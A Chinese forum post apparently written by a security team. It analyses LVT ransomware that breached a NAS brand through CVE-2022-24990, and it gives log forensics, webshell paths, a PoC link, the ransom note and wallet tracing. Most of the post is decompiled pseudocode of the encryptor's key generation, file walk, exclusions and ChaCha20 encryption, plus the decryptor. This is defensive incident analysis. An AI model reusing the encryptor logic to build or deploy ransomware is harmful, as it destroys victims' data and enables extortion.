吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 2236|回复: 20
上一主题 下一主题
收起左侧

[PC样本分析] 【病毒分析】交了赎金也无法恢复--针对国内某知名NAS的LVT勒索病毒最新分析

  [复制链接]
跳转到指定楼层
楼主
Solarsec 发表于 2024-9-6 09:21 回帖奖励
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 Solarsec 于 2024-9-6 09:30 编辑

1.背景

1.1来源

接到客户通知发现NAS遭到勒索病毒攻击,其中的文件无法打开并且被添加了lvt后缀。经排查该次勒索攻击是一款名为LvtLocker的勒索软件所为,而该勒索软件的攻击目标主要是国内某知名的NAS设备系统。

1.2入侵路线图

2.溯源分析

2.1查看日志

远程访问客户中招服务器,通过排查NAS web日志,默认SSH端口为9222,登录用户名为root,密码与web端admin用户相同。

查看nginx日志/var/log/nginx/access.log可以发现在2024年3月1日黑客利用CVE-2022-24990漏洞远程下载木马、添加执行权限并执行的行为。

2.2排查异常文件

查看NAS web路径: /usr/www/,发现该系统在2023年就遭受过非勒索团伙的攻击,发现了遗留的webshell

webshell地址

/usr/www/my.php
/usr/www/include/dwz.php

最终通过在web目录中查找ELF文件发现加密器路径

/usr/www/module/tnasupdate

2.3漏洞验证

漏洞名称:任意命令执行漏洞(CVE-2022-24990)

POC:https://github.com/lishang520/CVE-2022-24990/tree/main

验证结果:存在漏洞

2.4钱包溯源

通过区块链浏览器查看勒索信中的黑客钱包地址

3JD9xwA9HQuZSSEKZemmuTTpEmtM1L8Uwt

查看该地址的交易记录,可得出结论:黑客每次进行勒索的金额为0.01BTC(约为4927元),一共完成7次与受害者的交易,其中最早的交易可追溯到2024年2月23日

最终在2024年2月29日黑客将所有BTC转入新地址

 1LLh7KvmjmJuEELxSN2PKQKEywt6FfrfYi

后续有受害者尝试通过邮箱联系黑客,但均未得到答复,期间新地址钱包的BTC被转出,怀疑黑客已跑路

3.恶意文件基础信息

3.1加密器基本信息

文件名 lvt勒索病毒加密器
编译器 GO
大小 2330624(2.22 MiB)
操作系统 Unix
架构 386
模式 32 位
类型 EXEC
字节序 LE
MD5 349dd0a75d5cebe1d3ffd620bca4ff7f
SHA1 2a56190a0ee07f989c1e752a954674bc77c1b85e
SHA256 cd729507d2e17aea23a56a56e0c593214dbda4197e8a353abe4ed0c5fbc4799c

3.2解密器基本信息

客户向黑客支付赎金后提供的解密器

文件名 lvt解密器-d_nas_win.exe
编译器 GO
大小 2336768(2.23 MiB)
操作系统 Windows
架构 AMD64
模式 64 位
类型 控制台
字节序 LE
MD5 0d3d9522bdb4fe4bfdc071f1918b095e
SHA1 d497fab04c4254b685c92f4d35f7eed92e5dda9c
SHA256 2fc9dfaa373d867eb9932a9d428599af7453da3f902ee85b5cf961e72004ae6b

3.3勒索信

--------------- Hello ---------------

 *** By LVT LOCKER ***

Your computers and servers are encrypted, and backups are deleted.
We use strong encryption algorithms, so no one has yet been able to decrypt their files without our participation.

The only way to decrypt your files is to purchase a universal decoder from us, which will restore all the encrypted data and your network.

Follow our instructions below, and you will recover all your data:

1) Pay 0.01 bitcoin to 3JD9xwA9HQuZSSEKZemmuTTpEmtM1L8Uwt
2) Send us message with transaction id and your personal key (which is in the README_lvt_PersonalKey.txt file) to ghzsr@onionmail.org
3) Launch decryptor.exe, which our supportor will send you through email

What guarantees?
------------------
We value our reputation. If we will not do our work and liabilities, nobody will pay us. This is not in our interests.
All our decryption software is tested by time and will decrypt all your data.
------------------

!!! DO NOT TRY TO RECOVER ANY FILES YOURSELF. WE WILL NOT BE ABLE TO RESTORE THEM!!!

3.4其他注意事项

分析的样本中加密器与解密器不配套,但patch部分数据后即可搭配使用,后文将详细解释

4.加密后文件分析

加密的测试文件为1.txt,具体内容如下

经过lvt勒索病毒加密器加密之后如下

文件的大小增加了38Byte,经过多次实验结果仍然相同

5.逆向分析

5.1 加密器逆向分析

加密器使用方法为./lvt勒索病毒加密器 [path to be encrypted]

5.1.1 main_generateKeysAndSendPrivateKey函数

main_generateKeysAndSendPrivateKeymain_main函数开始时被调用,用于生成ecc私钥并使用rsa公钥进行加密

程序中内置的RSA公钥如下

-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA7KmV+4LWc4oI5ngkOSAg
dUmX7/4cOmgEUnu0463BN1PcQ6OowOrneReJKt3/bEqc1nmPY9Z3nUH8dmF7kFpb
lHiSQLh0lFB55SYxrFsugtVEOO4Zo9zWM/2lpjqhhqhTAJx8TV76aLdxbQzztnms
CFYqPesy+R5ing2PmUE5jcMh9/4MYbGQ/l5WVqgpXs8kUphPCZSRQSEbIGZ1AAia
56ovyiKbOjXTg8do/LEdajGRYLYG+BMaXeEjq4Xss3HmyIrRmTeaqvB7vOCniry4
pZ4PPEM1wk0w79LF5bssGm+Dq1MpyUOVlBcz9dS4IthwAWTKOW8vUy27l18/K7qC
pwIDAQAB
-----END PUBLIC KEY-----

程序首先利用crypto/rand生成Elliptic Curve Cryptography(下文简称为ecc)的私钥,由于crypto/rand调用了系统底层函数进行初始化,不可预测

crypto/rand使用操作系统提供的底层熵源(entropy source)来生成随机数。在Linux和Unix系统上,它通常使用/dev/urandom或类似的机制,而在Windows上,它使用CryptGenRandom API。这些底层机制都旨在提供足够的熵,使得生成的随机数在理论上难以预测

生成的ecc私钥利用内置的rsa公钥进行加密,在rsa加密时使用了PKCS#1 v1.5填充协议,导致对于同一数据加密后的结果不同

最后main_generateKeysAndSendPrivateKey函数返回加密后的ecc私钥,下述代码仅保留了关键逻辑

retval_8179D20 __golang main_generateKeysAndSendPrivateKey()
{
  ecc_private.ptr = (uint8 *)runtime_newobject((int)&RTYPE__32_uint8);
  *(_OWORD *)((char *)&v18 - 4) = io_ReadAtLeast(no, rand_reader, (int)ecc_private.ptr, 32, 32, 32);
  ecc_private1.ptr = ecc_private.ptr;
  LODWORD(v16) = golang_org_x_crypto_curve25519_scalarBaseMult((int)v20, ecc_private1);
  v14 = runtime_stringtoslicebyte(
          (int)v21,
          (int)"-----BEGIN PUBLIC KEY-----\n"
               "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA7KmV+4LWc4oI5ngkOSAg\n"
               "dUmX7/4cOmgEUnu0463BN1PcQ6OowOrneReJKt3/bEqc1nmPY9Z3nUH8dmF7kFpb\n"
               "lHiSQLh0lFB55SYxrFsugtVEOO4Zo9zWM/2lpjqhhqhTAJx8TV76aLdxbQzztnms\n"
               "CFYqPesy+R5ing2PmUE5jcMh9/4MYbGQ/l5WVqgpXs8kUphPCZSRQSEbIGZ1AAia\n"
               "56ovyiKbOjXTg8do/LEdajGRYLYG+BMaXeEjq4Xss3HmyIrRmTeaqvB7vOCniry4\n"
               "pZ4PPEM1wk0w79LF5bssGm+Dq1MpyUOVlBcz9dS4IthwAWTKOW8vUy27l18/K7qC\n"
               "pwIDAQAB\n"
               "-----END PUBLIC KEY-----\n",
          451);
  v15 = encoding_pem_Decode(v14, v16);
  LODWORD(v15) = crypto_x509_ParsePKIXPublicKey(*(_DWORD *)(v15 + 12), *(_DWORD *)(v15 + 16), *(_DWORD *)(v15 + 20));
  v17 = crypto_rsa_EncryptPKCS1v15(no, rand_reader, SDWORD1(v15), (int)ecc_private.ptr, 32, 32);
}

5.1.2 main_main函数

首先判断用户输入的参数是否为2个,如果用户输入的参数不为两个,则输出提示信息

if(用户输入个数==2)
    do_something;
else
{
    v38 = 0;
    v39 = 0;
    if ( !dword_828063C )
        runtime_panicIndex(0);
    v13 = runtime_convTstring(*(_DWORD *)dword_8280638, *(_DWORD *)(dword_8280638 + 4));
    v38 = (int)&RTYPE_string;
    v39 = v13;
    fmt_Fprintf((int)&off_81D2D64, dword_8280408, (int)"%s [path to be encrypted]\n", 26, (int)&v38, 1, 1);
}

首先判断了用户是否拥有root权限,如果用户拥有root权限,则从系统根目录进行加密,如果用户没有root权限,则用用户输入的路径进行加密

if ( *(_DWORD *)(dword_8280638 + 12) == 10
      && runtime_memequal(*(_DWORD *)(dword_8280638 + 8), (int)"linux_root", 10) )
    {
      encode_path_len = 1;
      encode_path = "/";
    }
    else
    {
      if ( (unsigned int)dword_828063C <= 1 )
        runtime_panicIndex(dword_828063C);
      encode_path = *(const char **)(dword_8280638 + 8);
      encode_path_len = *(_DWORD *)(dword_8280638 + 12);
    }

释放勒索信,勒索信硬编码在程序中,写入文件README_lvt.txt

v12.ptr = (uint8 *)runtime_stringtoslicebyte(
                         (int)v34,
                         (int)"--------------- Hello ---------------\n"
                              "\n"
                              " *** By LVT LOCKER ***\n"
                              "\n"
                              "Your computers and servers are encrypted, and backups are deleted.\n"
                              "We use strong encryption algorithms, so no one has yet been able to decrypt their files wi"
                              "thout our participation.\n"
                              "\n"
                              "The only way to decrypt your files is to purchase a universal decoder from us, which will "
                              "restore all the encrypted data and your network.\n"
                              "\n"
                              "Follow our instructions below, and you will recover all your data:\n"
                              "\n"
                              "1) Pay 0.01 bitcoin to 3JD9xwA9HQuZSSEKZemmuTTpEmtM1L8Uwt\n"
                              "2) Send us message with transaction id and your personal key (which is in the README_lvt_P"
                              "ersonalKey.txt file) to ghzsr@onionmail.org\n"
                              "3) Launch decryptor.exe, which our support will send you through email\n"
                              "\n"
                              "What guarantees?\n"
                              "------------------\n"
                              "We value our reputation. If we will not do our work and liabilities, nobody will pay us. T"
                              "his is not in our interests.\n"
                              "All our decryption software is tested by time and will decrypt all your data.\n"
                              "------------------\n"
                              "\n"
                              "!!! DO NOT TRY TO RECOVER ANY FILES YOURSELF. WE WILL NOT BE ABLE TO RESTORE THEM!!!",
                         1055);
    *(_QWORD *)&v12.len = v19;
    os_WriteFile((int)"./README_lvt.txt", 16, v12, 511);

main_generateKeysAndSendPrivateKey返回的数据进行hex encode写入文件README_lvt_PersonalKey.txt

v4 = runtime_makeslice((int)RTYPE_uint8, 2 * v28, 2 * v28);
    v5 = 2 * v28;
    v6 = KeysAndSendPrivateKey;
    v7 = v28;
    v8 = 0;
    v9 = 0;
    while ( v8 < v7 )
    {
      v25 = *(_BYTE *)(v8 + v6);
      if ( v9 >= v5 )
        runtime_panicIndex(v5);
      *(_BYTE *)(v4 + v9) =     a0123456789abcd[v25 >> 4];
      if ( v5 <= v9 + 1 )
        runtime_panicIndex(v5);
      *(_BYTE *)(v9 + v4 + 1) = a0123456789abcd[v25 & 0xF];
      ++v8;
      v9 += 2;
      v6 = KeysAndSendPrivateKey;
      v7 = v28;
    }
    v26 = 2 * v31;
    v16 = runtime_slicebytetostring((int)v33, v4, v5);
    v14.ptr = (uint8 *)runtime_stringtoslicebyte((int)v32, v16, v20);
    *(_QWORD *)&v14.len = v20;
    os_WriteFile((int)"./README_lvt_PersonalKey.txt", 28, v14, 511);
.rodata:081A01D2 a0123456789abcd db '0123456789abcdef'

最后调用path_filepath_Walk对文件夹进行加密

5.1.3 main_main_func1函数

即使加密的为根目录,勒索软件还是对一些系统关键目录与关键文件进行了规避

 if ( strings_Index(v27, v31, (int)"/proc", 5) >= 0
  || strings_Index((int)a1, a2, (int)"/boot", 5) >= 0
  || strings_Index((int)a1, a2, (int)"/sys", 4) >= 0
  || strings_Index((int)a1, a2, (int)"/run", 4) >= 0
  || strings_Index((int)a1, a2, (int)"/dev", 4) >= 0
  || strings_Index((int)a1, a2, (int)"/etc", 4) >= 0
  || strings_Index((int)a1, a2, (int)"/home/httpd", 11) >= 0
  || strings_Index((int)a1, a2, (int)".system/thumbnail", 17) >= 0
  || strings_Index((int)a1, a2, (int)".system/opt", 11) >= 0
  || strings_Index((int)a1, a2, (int)".config", 7) >= 0
  || strings_Index((int)a1, a2, (int)".qpkg", 5) >= 0 )
{
  return qword_8280590;
}
v36 = strings_Index((int)a1, a2, (int)"/mnt/ext/opt", 12);
if ( v36 >= 0 )
  return qword_8280590;

也规避了不加密README_lvt_PersonalKey.txtREADME_lvt.txt

也不加密已.lvt后缀结尾的文件,避免重复加密

通过判断的文件将加入加密队列等待加密

5.1.4 main_encrypt_file函数

首先会对文件添加.lvt后缀

v20 = runtime_concatstring2(0, v68.len, v68.cap, (int)".lvt", 4);
 v18 = os_rename(v68.len, v68.cap, v20, v23);

随机生成32Byte的数据进行sha256作为chacha20的密钥生成chacha20加密实例(下述代码仅保留了关键代码)

v23 = io_ReadAtLeast(no, rand_reader, (int)v46, 32, 32, 32);
crypto_sha256_Sum256(v5, 0);
((void (*)(void))loc_80AF350)();
v6.ptr = v42;
*(_QWORD *)&v6.len = 0x2000000020LL;
crypto_sha256_Sum256(v6, v17);
((void (*)(void))loc_80AF350)();
sync__ptr_Mutex_Unlock(&stru_8293188);
((void (*)(void))loc_80AEE66)();
  DWORD1(v23) = golang_org_x_crypto_chacha20_newUnauthenticatedCipher((int)&v43, (int)v42, 32, 32, (int)&v41, 12, 22);

通过文件的原始大小,选择加密方式Large cipher mode或者Small cipher mode

if ( SHIDWORD(filesize) > 0 || HIDWORD(filesize) == 0 && (unsigned int)filesize > 0x1400000 )
    {
      v49 = 0;
      v50 = 0;
      v11 = runtime_convTstring(v68.len, v68.cap);
      v49 = &RTYPE_string;
      v50 = v11;
      fmt_Fprintf((int)&off_81D2D64, dword_8280408, (int)"Large cipher mode for: %s\n", 26, (int)&v49, 1, 1);
      v31 = runtime_int64div(filesize, (int)v30, 10485760, 0);
      v32 = v22;
      v46 = (_BYTE *)runtime_makeslice((int)RTYPE_uint8, 0x100000, 0x100000);
      v0 = 0;
      for ( i = 0; v0 == v32 && i < v31 || v0 < v32; i = v34 )
      {
        v28 = v0;
        ((void (*)(void))loc_80AEE8A)();
        v27 = 10485760 * v4;
        v35 = (10485760 * __PAIR64__(v28, v4)) >> 32;
        v34 = v4 + 1;
        v33 = __CFADD__(v4, 1) + v28;
        v14 = runtime_convT64(v4 + 1, v33);
        v65[0] = &RTYPE_int64;
        v65[1] = v14;
        v15 = runtime_convT64(v31, v32);
        v65[2] = &RTYPE_int64;
        v65[3] = v15;
        v16 = runtime_convTstring(v68.len, v68.cap);
        v65[4] = &RTYPE_string;
        v65[5] = v16;
        fmt_Fprintf((int)&off_81D2D64, dword_8280408, (int)"Processing chunk %d\\%d (%s)\n", 28, (int)v65, 3, 3);
        os__ptr_File_ReadAt((int)v45, (int)v46, 0x100000, 0x100000, v27, v35);
        golang_org_x_crypto_chacha20__ptr_Cipher_XORKeyStream(v44, v46, 0x100000, 0x100000, v46, 0x100000, 0x100000);
        os__ptr_File_WriteAt((int)v45, (int)v46, 0x100000, 0x100000, v27, v35);
        v0 = v33;
      }
    }
    else
    {
      v47 = 0;
      v48 = 0;
      v12 = runtime_convTstring(v68.len, v68.cap);
      v47 = &RTYPE_string;
      v48 = v12;
      fmt_Fprintf((int)&off_81D2D64, dword_8280408, (int)"Small cipher mode for: %s\n", 26, (int)&v47, 1, 1);
      if ( SHIDWORD(filesize) > 0 || HIDWORD(filesize) == 0 && (unsigned int)filesize > 0x400000 )
      {
        v2 = 0x400000;
        v3 = 0;
      }
      else
      {
        v2 = filesize;
        v3 = (int)v30;
      }
      v25 = v2;
      v26 = v3;
      v46 = (_BYTE *)runtime_makeslice64((int)RTYPE_uint8, v2, v3, v2, v3);
      v24 = os__ptr_File_ReadAt((int)v45, (int)v46, v25, v25, 0, 0);
      if ( v25 != v24 || v26 != v24 >> 31 )
      {
        v61 = 0;
        v62 = 0;
        v63 = 0;
        v64 = 0;
        v10 = runtime_convT32(v24);
        v61 = &RTYPE_int;
        v62 = v10;
        v13 = runtime_convT64(v25, v26);
        v63 = &RTYPE_int64;
        v64 = v13;
        fmt_Fprintf((int)&off_81D2D64, dword_8280408, (int)"ERROR: %d != %d\n", 16, (int)&v61, 2, 2);
        (*v66)();
        (*v67)();
        return;
      }
      golang_org_x_crypto_chacha20__ptr_Cipher_XORKeyStream(v44, v46, v25, v25, v46, v25, v25);
      os__ptr_File_WriteAt((int)v45, (int)v46, v25, v25, 0, 0);
    }

将随机生成32Byte的数据通过ecc公钥加密之后存入文件尾部(下述代码仅保留了关键代码)

v7.ptr = v40;
golang_org_x_crypto_curve25519_scalarBaseMult((int)v39, v7);
v8.ptr = v40;
v8.len = (size_t)&v69;
golang_org_x_crypto_curve25519_scalarMult((int)v38, v8);
......
os__ptr_File_WriteAt((int)v45, (int)v39, 32, 32, filesize, (int)v30);

向文件尾部写入6Byte的特征码,特征码硬编码在程序中

 v36 = 0xDECDBCAB;
 v37 = 0xF0EF;
 ......
os__ptr_File_WriteAt((int)v45, (int)&v36, 6, 6, filesize + 32, (filesize + 32) >> 32);// 写入特征

5.2 解密器逆向分析

通过客户反馈得知,客户已交付赎金并且黑客交付了解密器,但解密器无法正常使用恢复被加密文件,solar团队工程师对该解密器进行逆向分析排查无法正常恢复的原因:

解密器的使用方法为解密器 [path to be decrypted] [personal key]

5.2.1 main_main函数

if ( qword_2F0928 == 3 )
  {
    v10 = *(_QWORD *)(os_Args + 24);
    v11 = path_filepath_Walk(*(_QWORD *)(os_Args + 16), v10, (unsigned int)&off_2512E0, v1, v2, v3, v4);
    if ( v11 )
    {
      v20 = v6;
      *(_QWORD *)&v20 = *(_QWORD *)(v11 + 8);
      *((_QWORD *)&v20 + 1) = v10;
      fmt_Fprintln(
        (unsigned int)go_itab__os_File_io_Writer,
        os_Stdout,
        (unsigned int)&v20,
        1,
        1,
        v12,
        v13,
        v14,
        v15,
        v16,
        v17,
        v18);
    }
  }
  else
  {
    v19 = v6;
    if ( !qword_2F0928 )
      runtime_panicIndex(0LL, v0);
    v7 = runtime_convTstring(*(_QWORD *)os_Args, *(_QWORD *)(os_Args + 8), os_Args, v1, v2, v3, v4);
    *(_QWORD *)&v19 = &RTYPE_string;
    *((_QWORD *)&v19 + 1) = v7;
    fmt_Fprintf(
      (unsigned int)go_itab__os_File_io_Writer,
      os_Stdout,
      (unsigned int)"%s [path to be decrypted] [personal key]\n",
      41,
      (unsigned int)&v19,
      1,
      1,
      v8,
      v9,
      v16,
      v17);
  }

仅检查了参数的个数便调用path_filepath_Walk进行接下来的步骤

5.2.2 main_decrypt_file

此函数的参数主要包括解密文件的完整路径,与解密使用的key

__int64 __golang main_decrypt_file(
        __int64 vfilename,
        unsigned __int64 filename_len,
        __int64 key,
        __int64 kenlen,
        __int64 a5,
        __int64 a6,
        __int64 a7,
        __int64 a8,
        __int64 a9)

首先将key进行hex decode解码

key_1 = key;
 key_2 = (__int128 *)runtime_stringtoslicebyte((unsigned int)&v174, key, kenlen, kenlen, a5, a6, a7, a8, a9);
 v159 = v12;
 v13 = key_1;
 v14 = encoding_hex_Decode((__int64)key_2, key_1, v12, (__int64)key_2, key_1);
 if ( v159 < v14 )
    runtime_panicSliceAcap(v14, key_1, v14);
 ecc_key[0] = v10;
 ecc_key[1] = v10;
 if ( v159 < 0x20 )
    runtime_panicSliceAcap(v14, key_1, 32LL);
 key_3 = key_2;
 key_4 = ecc_key;
 if ( key_2 != ecc_key )
    key_4 = (__int128 *)runtime_memmove(ecc_key, key_2, 32LL);

然后修改文件名,即删除了文件的.lvt后缀

if ( filename_len < filename_len - 4 )
    runtime_panicSliceAlen(key_4, key_3, filename_len - 4);
new_filename_len = filename_len - 4;
v21 = os_rename(filename3, filename_len, filename3, (int)filename_len - 4, v13, v15, v16, v17, v18, v109, v125, v138);

接着打开文件,并获得了相关文件信息(下述代码删除了异常处理部分)

openfile = (os_File *)os_OpenFile(filename3, new_filename_len, 2, 0, v13, v22, v23, v24, v25, v110, v126, v139);
file_stat = os__ptr_File_Stat(openfile);
file_len = (*((__int64 (__golang **)(void *))file_stat.0.tab + 7))(file_stat.0.data);

接下来判断文件的长度是否大于38,如果小于等于38,则抛出异常,从这也可以看出加密后的文件有额外的38byte

接着读取文件的后6Byte,与程序中的硬编码数据比较,如果比较不通过则不进行解密,我们称这6Byte的编码为识别码上文所说的加密器与解密器不配套即为此识别码不同

if ( file_len > 38 )                          // 额外数据块大小为38
{
    v164 = file_len;
    file_stat.0.data = v158;
    file_stat.1.data = (void *)6;
    os__ptr_File_ReadAt(                        // 读取后6Byte
      (_DWORD)openfile1,
      (unsigned int)v158,
      6,
      6,
      file_len - 6,
      v40,
      v41,
      v42,
      v43,
      v111,
      v127,
      v140,
      v151);
    if ( v158[0] == 7 && v158[1] == 0x21 && v158[2] == 0x51 && v158[3] == 0x4E && v158[4] == 0x41 && v158[5] == 0x50 )
        do_decrypt;

识别码判断通过之后,读取文件除识别码的后32Byte,并使用上文hex decode解码后的key作为Elliptic Curve Cryptography的私钥对32Byte的数据进行解密,解密后的数据再进行sha256计算,最终得到的数据用于生成chacha20加密器实例

if ( v158[0] == 7 && v158[1] == 0x21 && v158[2] == 0x51 && v158[3] == 0x4E && v158[4] == 0x41 && v158[5] == 0x50 )// 文件尾部特征
{
  v166 = v164 - 38;
  v48 = v164 - 38;
  os__ptr_File_ReadAt(                      // 读取32Byte
    (_DWORD)openfile1,
    (unsigned int)data32Byte,
    32,
    32,
    v164 - 38,
    v44,
    v45,
    v46,
    v47,
    v112,
    v128,
    v141,
    v152);
  golang_org_x_crypto_curve25519_scalarMult(
    (int)under_ecc_32Byte_data,
    (int)ecc_key,
    (int)data32Byte,
    32,
    v48,
    v49,
    v50,
    v51,
    v52,
    v113,
    v124,
    v129,
    v137,
    v142);
  crypto_sha256_Sum256((uint8 *)under_ecc_32Byte_data, 0x20uLL, 0x20uLL, 32LL, v48, v53, v54, v55, v56);
  *(_OWORD *)v172 = v114;
  v173 = v143;
  crypto_sha256_Sum256((uint8 *)v172, 0x20uLL, 0x20uLL, 32LL, v48, v57, v58, v59, v60);
  v171[0] = v114;
  v171[1] = v143;
  ((void (__fastcall *)(__int64 *))loc_1CE5AF)(&v175);
  file_stat.1.data = (void *)32;
  v63 = golang_org_x_crypto_chacha20_newUnauthenticatedCipher(
          (unsigned int)&v176,
          (unsigned int)v172,
          32,
          32,
          (unsigned int)v171 + 10,
          12,
          22,
          v61,
          v62,
          v114,
          *((__int64 *)&v114 + 1),
          v143,
          *((__int64 *)&v143 + 1));

最后通过文件大小判断采用的是Large cipher mode或者Small cipher mode进行解密

6.解密步骤

利用相关技术获得ecc私钥如下

CFA61669D96E10861AEFF1FBD2E362139602AF74F3DBA36C96CDB3330433C0A8

patch文件或者解密程序,使得文件可以通过特征码验证

成功解密,因此得出结论,黑客提供的解密器可以做到解密文件,但黑客提供的KEY有误导致客户无法正常解密。

7.总结

从技术层面而言,该LVT勒索病毒目前只针对这款NAS的漏洞进行了渗透入侵,并且释放LVT勒索病毒,据不完全统计,目前国内受害者有几十家使用该NAS的用户,同时LVT勒索加密程序生成了一对ecc公私钥,ecc公私钥利用crypto/rand生成,每次生成结果不同。其中私钥利用程序内置的RSA公钥加密后保存在README_lvt_PersonalKey.txt中,ecc公钥参与chacha20的加密工作,如需解密文件,必须需要ecc私钥,ecc私钥只能通过黑客的RSA私钥解密README_lvt_PersonalKey.txt获得。上文解密程序中ecc私钥获得为在加密器加密文件时调试获得私钥,但实际情况中勒索病毒进程结束之后,内存空间也被清空时,ecc私钥无法存在在任何位置,无法通过此方法或者类似方法捕获ecc私钥,此类方法在实际情况中不适用。因此唯一能解开lvt加密的办法是联系黑客获取正确的ecc私钥,但是目前已知的几位受害者给黑客支付了比特币赎金之后,黑客提供的ecc私钥是错误的,解开的文件是乱码的错误文件,并且后续再也联系不上该黑客团队。

从该勒索病毒团队做法而言,该漏洞也是NAS的历史漏洞,技术难度和攻击手法也都算不上高超,但是对受害者的网络、资料的破坏和骗取虚拟币行为也是令人无法理解的,如同某位受害者所说“没有江湖道义”,但其实再退一步来说,他们都能做出勒索的行为,就不要指望他遵守道德准则了。

免费评分

参与人数 7吾爱币 +7 热心值 +7 收起 理由
UNKNNOW + 1 + 1 用心讨论,共获提升!
zy2765 + 1 + 1 谢谢@Thanks!
水蜜桃好甜 + 1 + 1 热心回复!
御龙 + 1 + 1 铁威马,安如磐石,哈哈
Koji233 + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
allspark + 1 + 1 用心讨论,共获提升!
mozhongzhou + 1 + 1 我很赞同!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

推荐
 楼主| Solarsec 发表于 2024-9-11 22:54 |楼主
kudos5566 发表于 2024-9-11 16:27
最关键的ECC私钥获取方法没说

您好,有说的。
5.1.1 main_generateKeysAndSendPrivateKey函数
程序首先利用crypto/rand生成Elliptic Curve Cryptography(下文简称为ecc)的私钥,由于crypto/rand调用了系统底层函数进行初始化,不可预测
crypto/rand使用操作系统提供的底层熵源(entropy source)来生成随机数。在Linux和Unix系统上,它通常使用/dev/urandom或类似的机制,而在Windows上,它使用CryptGenRandom API。这些底层机制都旨在提供足够的熵,使得生成的随机数在理论上难以预测
生成的ecc私钥利用内置的rsa公钥进行加密,在rsa加密时使用了PKCS#1 v1.5填充协议,导致对于同一数据加密后的结果不同
最后main_generateKeysAndSendPrivateKey函数返回加密后的ecc私钥,下述代码仅保留了关键逻辑

ecc部分的其实就是用了curve25519算法实现,这里主要是调用了库函数实现的,具体的算法实现可以参考我们之前发的 babyk那篇文章 https://www.52pojie.cn/thread-1929419-1-1.html   我们是Bob,Bob只需要拿到alice的公钥,然后结合自己随机生成的私钥,就可以生成共享密钥,然后完成加密,之后只需要把Bob随机生成的公钥也给Alice,也就是黑客,黑客就能根据Bob的公钥和他手里私钥生成共享密钥,完成解密。
沙发
whitegold 发表于 2024-9-9 14:33
3#
zlzx01 发表于 2024-9-9 15:28
我的电脑中过勒索病毒,后缀是zzla,不知道现在能否解密?
4#
q1581 发表于 2024-9-9 17:41
66666  看得我一拍大腿,大佬就是牛
5#
YINJUXIUSHEN 发表于 2024-9-9 22:31
还是大佬牛逼~~~~
6#
Ming2001 发表于 2024-9-9 23:49
真的太牛了
7#
liu730234772 发表于 2024-9-10 08:43
哪款知名NAS?好避个雷
8#
aquss 发表于 2024-9-10 09:24
liu730234772 发表于 2024-9-10 08:43
哪款知名NAS?好避个雷

同问,好绕行。
9#
886857 发表于 2024-9-10 09:29
aquss 发表于 2024-9-10 09:24
同问,好绕行。

都说了知名NAS当然是某辉咯
10#
aquss 发表于 2024-9-10 09:48
886857 发表于 2024-9-10 09:29
都说了知名NAS当然是某辉咯

搜了下,貌似是铁XX
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-22 05:09

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表